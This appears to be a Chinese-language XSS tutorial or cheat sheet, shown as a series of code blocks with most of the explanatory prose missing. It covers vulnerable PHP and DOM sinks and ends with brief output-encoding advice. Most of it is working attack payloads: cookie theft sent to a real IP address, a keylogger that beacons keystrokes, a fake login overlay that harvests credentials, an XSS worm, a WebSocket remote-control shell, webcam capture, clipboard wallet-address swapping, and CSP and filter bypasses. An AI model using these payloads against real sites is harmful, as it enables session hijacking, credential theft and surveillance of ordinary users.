1
// 危险函数：直接输出GET/POST参数
2
echo $_GET['x'];
3
echo $_POST['x'];
4
echo $_REQUEST['x'];
5
print $_GET['x'];
6

7
// 危险场景：搜索框回显、错误信息回显、跳转参数回显
8
header("Location: " . $_GET['url']);  // 跳转参数未过滤

1
// 写入接口：save_message.php（入库无过滤）
2
$message = $_POST['content'];
3
$sql = "INSERT INTO message (content) VALUES ('$message')";  // ❌ 直接入库
4
mysqli_query($conn, $sql);
5

6
// 读取接口：show_message.php（输出无转义）
7
while($row = mysqli_fetch_assoc($result)) {
8
    echo "<div>" . $row['content'] . "</div>";  // ❌ 直接输出
9
}
10
```
11

12
### 2.2.2 攻击路径
13
```
14
攻击者在评论/留言/个人资料等处提交Payload
15
        ↓
16
服务器未过滤，Payload 写入数据库持久存储
17
        ↓
18
任意用户访问包含该数据的页面
19
        ↓
20
服务器读取数据库内容拼接进HTML返回
21
        ↓
22
所有访问者的浏览器执行恶意脚本
23
```
24

25
### 2.2.3 审计要点
26

27
做题/审计时需要**同时找到两个点**才能构成完整漏洞：
28
```
29
写入点（Source）          读取点（Sink）
30
─────────────────         ──────────────────
31
评论/留言功能      →  数据库  →  评论展示页面
32
用户名/昵称        →  数据库  →  个人主页/文章作者
33
文件名             →  数据库  →  文件列表页面
34
商品描述           →  数据库  →  商品详情页面

1
// 审计时找这类输出函数，追溯其数据来源是否经过净化
2
echo $row['username'];        // 数据库字段直接输出？
3
echo $row['comment'];
4
echo htmlspecialchars($row['comment']);  // ✅ 有转义，安全

1
<div id="welcome"></div>
2
<script>
3
    // ❌ Source：从URL读取可控输入
4
    var username = new URLSearchParams(location.search).get('username');
5

6
    // ❌ Sink：innerHTML直接解析为HTML
7
    document.getElementById('welcome').innerHTML = "欢迎：" + username;
8
</script>

1
location.search        // URL ?参数
2
location.hash          // URL #后内容
3
location.href          // 完整URL
4
document.referrer      // 来源页面URL
5
document.cookie        // Cookie内容
6
localStorage/sessionStorage  // 本地存储

1
// 类型一：直接解析HTML，最常见
2
element.innerHTML =
3
element.outerHTML =
4
document.write()
5
document.writeln()
6

7
// 类型二：执行字符串代码
8
eval()
9
setTimeout("字符串")
10
setInterval("字符串")
11
new Function()
12

13
// 类型三：影响页面跳转/资源加载
14
location.href =
15
location.replace()
16
element.src =
17
element.action =

1
// 第一步：全局搜索危险Sink关键词
2
innerHTML
3
outerHTML
4
document.write
5
eval(
6
setTimeout(
7
location.href
8

9
// 第二步：找到后向上追溯赋值来源
10
el.innerHTML = ???   // ???是固定字符串还是变量？
11
                     // 变量来自哪里？是否经过过滤？
12

13
// 第三步：判断来源是否可控
14
// 可控来源：location.search / location.hash / document.referrer 等
15
// 不可控来源：服务端写死的数据、经过严格过滤的数据

1
<script>alert(123)</script> //浏览器弹窗，内容为123
2
<script>prompt(2)</script> //浏览器弹出一个输入框，提示词为2
3
<script>confirm(3)</script> //与alert()类似，都是弹窗，3是弹出的内容

1
<script>console.log(3)</script> //这会在浏览器控制台输出一个3
2
<script>document.write(3)</script> //直接在页面写一个3

1
<script>window.location.href="http://shaogx.cn"</script>
2
//直接跳转网页
3

4
<meta content="5;http://www.baidu.com" http-equiv="refresh">
5
//作用同上 里面的5是用来延时5秒
6

7
<a href="http://shaogx.cn">点击我</a>
8
//这样页面会出现点击我三个字，点击一下自动跳转网页
9

10
<script>window.open("http://shaogx.cn");</script>
11
//这会重新开一个界面，但是可能会被浏览器拦截
12

13
<button onclick="location.href='http://shaogx.cn'">点击跳转</button>
14
//点击按钮跳转
15

16
<div onclick="location.href='http://shaogx.cn'">查看详情</div>
17
//点击任意文本跳转

1
<script src="http://121.89.81.39/outfile/666.js"></script>
2
<img src=x onerror=document.body.appendChild(document.createElement("script")).src="//121.89.81.39/outfile/666.js">
3
<img src=x onerror=jQuery.getScript("//121.89.81.39/outfile/666.js")> #这个需要网页引入jQuery库
4
在目标vps上的666.js内容是
5
window.location.href="http://www.baidu.com"

1
<script src=//121.89.81.39/outfile/666.js></script>

1
<script>window.location.href="http://121.89.81.39:2333/?msg="%2Bescape(document.cookie)</script> #这样可以把cookie外带出来+要url编码为%2B
2
<script>var img=document.createElement("img");img.src="http://121.89.81.39:2333/?msg="%2Bescape(document.cookie);document.body.appendChild(img);</script>

1
<script>alert("您的flash版本过低，请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"</script>

1
<img src="./pay.php?id=test">

1
<form action="./index.php" method="POST">
2
<input type="hidden" name="id" value="1" />
3
</form>
4
<script>
5
document.forms[0].submit();
6
</script>

1
//下面的JavaScript代码作用：通过POST请求方式删除id=123的博客文章
2
var form = document.createElement('form');
3
form.method = 'POST';
4
form.action = 'http://blog.example.com/del';
5
document.body.appendChild(form);
6
/*
7
Node.appendChild() 方法将一个节点附加到指定父节点的子节点列表的末尾处。如果将被插入的节点已经存在于当前文档的文档树中，那么 appendChild() 只会将它从原先的位置移动到新的位置（不需要事先移除要移动的节点）。
8
*/
9
var li = document.createElement("input"); //<li>列表项元素
10
li.name = 'id'; //id参数用于指定博客文章的id
11
li.value = '123';
12
form.appendChile(li);
13
form.submit();

1
document.addEventListener('keypress', function(e) {
2
    var key = e.key || String.fromCharCode(e.keyCode);
3
    new Image().src = 'http://d4t0vwzn.requestrepo.com/?key=' + encodeURIComponent(key);
4
});

1
// 获取所有本地存储数据并外带
2
var data = JSON.stringify(localStorage);
3
new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(data);
4

5
// 也可以获取sessionStorage
6
var data2 = JSON.stringify(sessionStorage);
7
new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(data2);

1
// 获取页面中所有input的值（包括隐藏字段）
2
var inputs = document.querySelectorAll('input');
3
var result = [];
4
inputs.forEach(function(input) {
5
    result.push(input.name + '=' + input.value);
6
});
7
new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(result.join('&'));
8

9
// 直接获取整个页面HTML（可能包含CSRF Token、敏感数据）
10
new Image().src = 'http://attacker.com/?html=' + encodeURIComponent(document.documentElement.innerHTML);

1
// 先获取页面中的CSRF Token，再发起请求
2
var xhr = new XMLHttpRequest();
3
xhr.open('GET', '/user/delete_account', false); // 同步获取页面
4
xhr.send();
5

6
// 从响应中提取CSRF Token
7
var html = xhr.responseText;
8
var token = html.match(/csrf_token['"]\s*value=['"]([^'"]+)/)[1];
9

10
// 携带Token发起恶意POST请求
11
var xhr2 = new XMLHttpRequest();
12
xhr2.open('POST', '/user/delete_account');
13
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
14
xhr2.send('csrf_token=' + token + '&confirm=1');

1
// 在页面覆盖一个假的登录框，诱导用户输入凭据
2
var overlay = document.createElement('div');
3
overlay.innerHTML = `
4
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;
5
                background:rgba(0,0,0,0.8);z-index:99999;
6
                display:flex;align-items:center;justify-content:center;">
7
        <div style="background:#fff;padding:30px;border-radius:8px;width:350px;">
8
            <h2>登录超时，请重新登录</h2>
9
            <input id="fake_user" type="text" placeholder="用户名" style="width:100%;margin:10px 0;padding:8px">
10
            <input id="fake_pass" type="password" placeholder="密码" style="width:100%;margin:10px 0;padding:8px">
11
            <button onclick="stealCreds()" style="width:100%;padding:10px;background:#1890ff;color:#fff;border:none">登 录</button>
12
        </div>
13
    </div>`;
14
document.body.appendChild(overlay);
15

16
function stealCreds() {
17
    var u = document.getElementById('fake_user').value;
18
    var p = document.getElementById('fake_pass').value;
19
    new Image().src = 'http://attacker.com/?u=' + encodeURIComponent(u) + '&p=' + encodeURIComponent(p);
20
}

1
// 经典XSS蠕虫结构（以论坛发帖为例）
2
// 蠕虫会自动将自身传播到其他用户的个人资料/留言板
3

4
var xhr = new XMLHttpRequest();
5
// 1. 先获取CSRF Token
6
xhr.open('GET', '/profile/edit', false);
7
xhr.send();
8
var token = xhr.responseText.match(/token" value="(.+?)"/)[1];
9

10
// 2. 将XSS Payload写入自己的个人简介，传播给访问者
11
var payload = '<script>/* 蠕虫代码本身 */<\/script>';
12
var xhr2 = new XMLHttpRequest();
13
xhr2.open('POST', '/profile/update');
14
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
15
xhr2.send('token=' + token + '&bio=' + encodeURIComponent(payload));

1
// 利用受害者浏览器探测内网存活主机（时间差判断）
2
var targets = ['192.168.1.1', '192.168.1.100', '192.168.1.200'];
3

4
targets.forEach(function(ip) {
5
    var start = new Date().getTime();
6
    var img = new Image();
7
    img.onload = img.onerror = function() {
8
        var time = new Date().getTime() - start;
9
        // 响应时间短说明主机存活
10
        new Image().src = 'http://attacker.com/?ip=' + ip + '&time=' + time;
11
    };
12
    img.src = 'http://' + ip + '/favicon.ico?' + Math.random();
13
});

1
// 通过WebSocket与攻击者服务器保持长连接，实现实时控制
2
var ws = new WebSocket('ws://attacker.com:4444');
3

4
ws.onopen = function() {
5
    // 上线时发送基本信息
6
    ws.send(JSON.stringify({
7
        type: 'init',
8
        cookie: document.cookie,
9
        url: location.href,
10
        ua: navigator.userAgent
11
    }));
12
};
13

14
ws.onmessage = function(e) {
15
    // 接收攻击者命令并执行（相当于远程控制浏览器）
16
    try {
17
        var result = eval(e.data);
18
        ws.send(JSON.stringify({ type: 'result', data: String(result) }));
19
    } catch(err) {
20
        ws.send(JSON.stringify({ type: 'error', data: err.message }));
21
    }
22
};

1
// 利用 HTML5 API 请求摄像头权限（需要用户点击交互触发）
2
navigator.mediaDevices.getUserMedia({ video: true, audio: true })
3
    .then(function(stream) {
4
        var video = document.createElement('video');
5
        video.srcObject = stream;
6
        video.play();
7

8
        // 截取画面帧并发送给攻击者
9
        var canvas = document.createElement('canvas');
10
        setInterval(function() {
11
            canvas.getContext('2d').drawImage(video, 0, 0);
12
            canvas.toBlob(function(blob) {
13
                // 将截图发送到攻击者服务器
14
                var fd = new FormData();
15
                fd.append('img', blob);
16
                fetch('http://attacker.com/upload', { method: 'POST', body: fd });
17
            });
18
        }, 3000);
19
    });

1
// 监听复制事件，替换或窃取剪切板内容
2
document.addEventListener('copy', function(e) {
3
    // 窃取复制内容
4
    var copied = window.getSelection().toString();
5
    new Image().src = 'http://attacker.com/?clip=' + encodeURIComponent(copied);
6

7
    // 篡改复制内容（比如替换加密货币钱包地址）
8
    e.clipboardData.setData('text/plain', '攻击者的钱包地址: 1AttackerWalletAddress...');
9
    e.preventDefault();
10
});

1
<img>  <svg>  <iframe>  <input>  <body>
2
<video>  <audio>  <details>  <select>  <object>

1
onmouseover   onmouseenter   onchange    onsubmit
2
oncanplay     onloadstart    onfocus     oninput
3
ontoggle      onpointerover  onanimationend

1
<!-- AA位置（标签名与属性之间）-->
2
可用：/   /123/   %09   %0A   %0C   %0D   %20   /**/
3

4
<!-- BB位置（属性名与属性值之间）-->
5
可用：%09   %0A   %0C   %0D   %20
6

7
<!-- CC位置（函数名与括号之间）-->
8
可用：%0B   /**/
9

10
<!-- DD位置（属性结尾）-->
11
可用：/**/   //   %09   %0A   %0C   %0D   %20   >

1
<img/src="x"/onerror=alert(1)>     <!-- 用/代替空格 -->
2
<img/src="x"onerror=alert(1)>      <!-- 省略部分空格 -->

1
<!-- HTML标签中可以不用引号 -->
2
<img src=x onerror=alert(xss)>
3

4
<!-- JS中用反引号代替单双引号 -->
5
<img src=x onerror=alert(`xss`)>
6
<script>alert(`xss`)</script>
7

8
<!-- 斜杠代替引号包裹字符串 -->
9
<script>alert(/xss/)</script>

1
<!-- 替换函数 -->
2
prompt(1)
3
confirm(1)
4
console.log(1)
5
document.write(1)
6

7
<!-- 常用执行函数包裹 -->
8
<img src="x" onerror="setTimeout(alert(1))">
9
<img src="x" onerror="setInterval(alert(1))">
10
<img src="x" onerror="Set.constructor(alert(1))">
11
<img src="x" onerror="constructor.constructor(alert(1))">
12
<img src="x" onerror="[1].map(alert(1))">
13
<img src="x" onerror="[1].forEach(alert(1))">

1
<!-- 利用HTML注释干扰解析 -->
2
<scr<!--注释-->ipt>alert(1)</scr<!--注释-->ipt>
3

4
<!-- 利用\0空字节截断 -->
5
<scr\0ipt>alert(1)</scr\0ipt>
6

7
<!-- 利用多余属性混淆 -->
8
<img src=x onxxx=1 onerror=alert(1)>
9

10
<!-- 利用Tab符(%09)分割事件名 -->
11
<img src=x on%09error=alert(1)>
12

13
<!-- 利用换行符分割 -->
14
<img src=x
15
onerror=alert(1)>
16

17
<!-- 利用特殊字符插入标签名（部分浏览器兼容）-->
18
<img/123 src=x onerror=alert(1)>

1
<!-- 十进制IP（127.0.0.1 → 2130706433）-->
2
<img src="x" onerror=document.location=`http://2130706433/`>
3

4
<!-- 八进制IP -->
5
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
6

7
<!-- 十六进制IP -->
8
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
9

10
<!-- // 代替 http:// -->
11
<img src="x" onerror=document.location=`//www.baidu.com`>
12

13
<!-- 中文句号代替英文点（浏览器自动转换）-->
14
<img src="x" onerror="document.location=`http://www。baidu。com`">

1
// 利用with语句简化payload
2
<img src=x onerror="with(document)write('<script>alert(1)<\/script>')">
3

4
// 利用getter/setter
5
<img src=x onerror="Object.defineProperty(window,'_',{get:()=>alert(1)});void _">
6

7
// 利用Proxy
8
<img src=x onerror="new Proxy({},{get:()=>alert(1)}).x">
9

10
// 利用解构赋值
11
<img src=x onerror="[{toString:alert}]+''">
12

13
// 利用Symbol.toPrimitive
14
<img src=x onerror="[{[Symbol.toPrimitive]:alert}]+''">
15

16
// 利用标签模板（Tagged Template）
17
<img src=x onerror="alert`1`">
18
Function`a${'alert(1)'}```

1
<!-- IE特有的条件注释 -->
2
<!--[if IE]><script>alert(1)</script><![endif]-->
3

4
<!-- IE支持的CSS expression -->
5
<div style="width:expression(alert(1))">
6

7
<!-- IE的vbscript协议 -->
8
<a href="vbscript:msgbox(1)">click</a>
9

10
<!-- 畸形标签，部分浏览器会自动修复并执行 -->
11
<img """><script>alert(1)</script>">
12
<<script>alert(1)//<</script>
13

14
<!-- SVG中的特殊解析 -->
15
<svg><script>alert&#40;1&#41;</script></svg>
16
<svg/onload=alert(1)>

1
// AngularJS 1.x 各版本沙箱逃逸Payload
2
// <= 1.0.1
3
{{constructor.constructor('alert(1)')()}}
4

5
// 1.1.5
6
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
7

8
// 1.3.x
9
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
10
  'a'.constructor.prototype.charAt=[].join;
11
  $eval('x=alert(1)');}}
12

13
// 1.6+（沙箱被完全移除，直接执行）
14
{{constructor.constructor('alert(1)')()}}

1
<!-- 利用白名单域下的JSONP接口 -->
2
<script src="https://白名单域/jsonp?callback=alert(1)//"></script>
3

4
<!-- 利用白名单域的AngularJS -->
5
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js"></script>
6
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
7

8
<!-- 利用 base 标签劫持相对路径 -->
9
<base href="https://attacker.com/">
10
<!-- 页面中所有相对路径的JS请求都会指向攻击者服务器 -->
11

12
<!-- 利用 meta 标签跳转（CSP不限制meta刷新）-->
13
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
14

15
<!-- 利用 nonce 泄露（如果nonce在页面中可见）-->
16
<script nonce="泄露的nonce值">alert(1)</script>

1
<!-- 第一次提交时被过滤，但数据存入数据库后再次渲染时触发 -->
2
<!-- 常见于头像/昵称等经过多次处理的存储场景 -->
3

4
<!-- 第一次提交（被过滤为无害）-->
5
&lt;script&gt;alert(1)&lt;/script&gt;
6

7
<!-- 数据库存储后，服务端二次处理decode，再输出时变成 -->
8
<script>alert(1)</script>

1
<!-- 输入时无害，经过innerHTML读写一次后变异为可执行代码 -->
2
<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>
3
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
4

5
<!-- 利用namespace混淆 -->
6
<svg><p><style><img src=1 onerror=alert(1)></style></p></svg>

1
// 绕过检测脚本对alert等函数的hook监控
2
// 先保存原函数引用，再恢复
3
var _alert = window.alert;
4
window.alert = function(){};  // 让检测脚本以为alert被禁用
5
// 真正执行时用保存的引用
6
_alert(document.cookie);
7

8
// 用iframe独立作用域绕过父页面的函数hook
9
var f = document.createElement('iframe');
10
document.body.appendChild(f);
11
f.contentWindow.alert(document.cookie); // 使用iframe自己干净的alert
12
```
13

14
---
15

16
### 2.3.19 RPO（Relative Path Overwrite）结合 XSS
17
```
18
<!-- 利用URL路径欺骗浏览器加载不同的CSS/JS -->
19
https://example.com/app/page/..%2f..%2fattacker.css
20

21
<!-- 配合CSS注入实现数据窃取 -->
22
input[value^="a"] { background: url(//attacker.com/?c=a) }
23
input[value^="b"] { background: url(//attacker.com/?c=b) }
24
<!-- 逐字符爆破CSRF Token -->

1
// 当页面存在原型链污染漏洞时，可以配合XSS触发
2
// 污染 innerHTML 的 setter
3
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
4

5
// 污染 location
6
Object.prototype.href = 'javascript:alert(1)';
7

8
// 配合模板引擎的原型链污染
9
// 先污染原型，等待模板渲染时自动触发XSS

1
<!-- 危险：直接输出用户输入 -->
2
<div>用户输入的内容</div>
3

4
<!-- 安全：HTML实体编码后输出 -->
5
<div>&lt;script&gt;alert(1)&lt;/script&gt;</div>

1
<!-- 危险 -->
2
<input value="用户输入" />
3

4
<!-- 安全：属性值必须加引号，且对内容编码 -->
5
<input value="&lt;script&gt;alert(1)&lt;/script&gt;" />

1
// 危险
2
var username = "用户输入";
3

4
// 安全：对数据进行JSON序列化或JS编码
5
var username = "经过JS编码的内容";
6

7
// 推荐做法：通过DOM方式赋值，避免直接拼接
8
document.getElementById('name').textContent = userInput; // 安全
9
document.getElementById('name').innerHTML = userInput;   // 危险！

1
// 危险
2
<a href="https://example.com?q=用户输入">
3

4
// 安全
5
<a href="https://example.com?q=encodeURIComponent(用户输入)">
6

7
// 还需校验协议，防止javascript:伪协议
8
if (!url.startsWith('http://') && !url.startsWith('https://')) {
9
    url = '#'; // 拒绝非http协议
10
}